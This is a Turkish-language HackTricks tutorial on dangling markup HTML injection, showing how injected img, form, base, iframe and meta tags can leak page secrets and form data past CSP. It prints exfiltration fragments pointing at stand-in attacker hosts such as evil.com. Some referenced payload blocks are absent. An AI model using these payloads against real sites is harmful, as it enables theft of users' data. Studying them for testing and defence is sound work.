* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
Bu teknik, bir **HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir.** Bu, [**XSS** ](../xss-cross-site-scripting/)bir yol bulamazsanız ancak **bazı HTML etiketleri enjekte edebilirseniz** çok yararlıdır.\
Ayrıca, bazı**gizli metinlerin açık metin olarak saklandığı** durumlarda istemciden **dışa aktarmak** istiyorsanız veya bazı betik yürütme işlemlerini yanıltmak istiyorsanız da yararlıdır.
Burada yorumlanan çeşitli teknikler, beklenmeyen yollarla bilgi dışa aktararak bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/) geçişlerini atlatmak için kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ettiğinizde, kurban enjekte edilen `img` etiketi ile kod arasındaki sonraki tırnak işareti içindeki tüm kodu size gönderecektir. Eğer bir sır o kısımda bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
Ayrıca bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler tırnak kapatılana kadar gönderilecektir ancak bazı kullanıcı etkileşimi gerektirir (kullanıcının bazı bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):
Bir form başlığı ayarlayın: `<form action='http://evil.com/log_steal'>` bu, bir sonraki form başlığını üzerine yazacak ve formdaki tüm veriler saldırganın yanına gönderilecektir.
Bir saldırgan bunu bilgileri çalmak için kullanabilir.
Bu saldırının bir [**örneğini bu yazıda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
En son bahsedilen teknik kullanılarak formları çalmak için (yeni bir form başlığı enjekte ederek) daha sonra yeni bir giriş alanı enjekte edebilirsiniz:
Ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği içerecektir. Bu saldırı, "_**Açık metin sırlarını çalma**_" ile "_**Formlar2 çalma**_" yöntemlerini birleştirir.
Bu [portswiggers araştırmasından](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) öğrenebileceğiniz gibi, en **CSP kısıtlı** ortamlardan bile bazı**kullanıcı etkileşimi** ile hala **veri sızdırabilirsiniz**. Bu durumda, şu yükü kullanacağız:
Not: **Kurbanı**, sizi kontrol ettiğiniz **payload**'a yönlendirecek bir **bağlantıya tıklamaya** davet edeceksiniz. Ayrıca, **`base`** etiketi içindeki **`target`** özniteliği bir sonraki tek tırnak işaretine kadar **HTML içeriği** içerecektir.\
Bu, bağlantıya tıklandığında **`window.name`**'nin **değeri**nin tüm **HTML içeriği** olacağı anlamına gelir. Dolayısıyla, bağlantıya tıklanarak erişilen sayfayı kontrol ettiğinizden, bu **`window.name`**'e erişebilir ve bu veriyi **dışa aktarabilirsiniz**:
HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, hangi bilginin paylaşılacağını seçiyorsunuz:
Bir alt belge, üst belgenin `location` özelliğini, hatta çapraz köken durumlarında bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir **iframe** içine gömülmüş bir betiği istemciyi keyfi bir sayfaya yönlendirebilecek şekilde izin verir:
Bir iframe, farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir **iframe adı özniteliğini kullanarak**. Bu, **hassas bilgilerin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu kötüye kullanarak** kendini iframe'leyen bir iframe oluşturabileceğiniz için mümkündür ve ardından başlangıç iframe'inden o adı erişip sızdırabilirsiniz.
Daha fazla bilgi için [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
**`meta http-equiv`** kullanarak bir Çerez ayarlamak gibi **çeşitli eylemler** gerçekleştirebilirsiniz: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Bu, **http-equiv** ile ilgili bir **CSP** ile **önlenir** (`Content-Security-Policy: default-src 'self';`, veya `Content-Security-Policy: http-equiv 'self';`)
\<portal etiketinin sömürülebilir zayıflıkları hakkında çok **ilginç bir araştırma** bulabilirsiniz [burada](https://research.securitum.com/security-analysis-of-portal-element/).\
HTML'de bağlantı sızdırmak için tüm yöntemler Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edebilirsiniz: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Bu, **dangling markup ve XS-Sızıntıları arasında bir karışım**. Bir taraftan zafiyet, saldıracağımız sayfanın **aynı kökenine ait** bir sayfada **HTML enjekte etmeye** izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırmayacağız**, ancak **başka bir sayfa**.
XS-Arama, **yan kanal saldırılarını kötüye kullanarak çapraz köken bilgilerini dışa çıkarmaya yöneliktir**. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin dahil edilmesini (JS yürütmesiyle ve olmadan) kötüye kullanır, örneğin [**CSS Enjeksiyonu**](../xs-search/#css-injection) veya [**Gecikmeli Yükleme Resimler**](../xs-search/#image-lazy-loading)**.**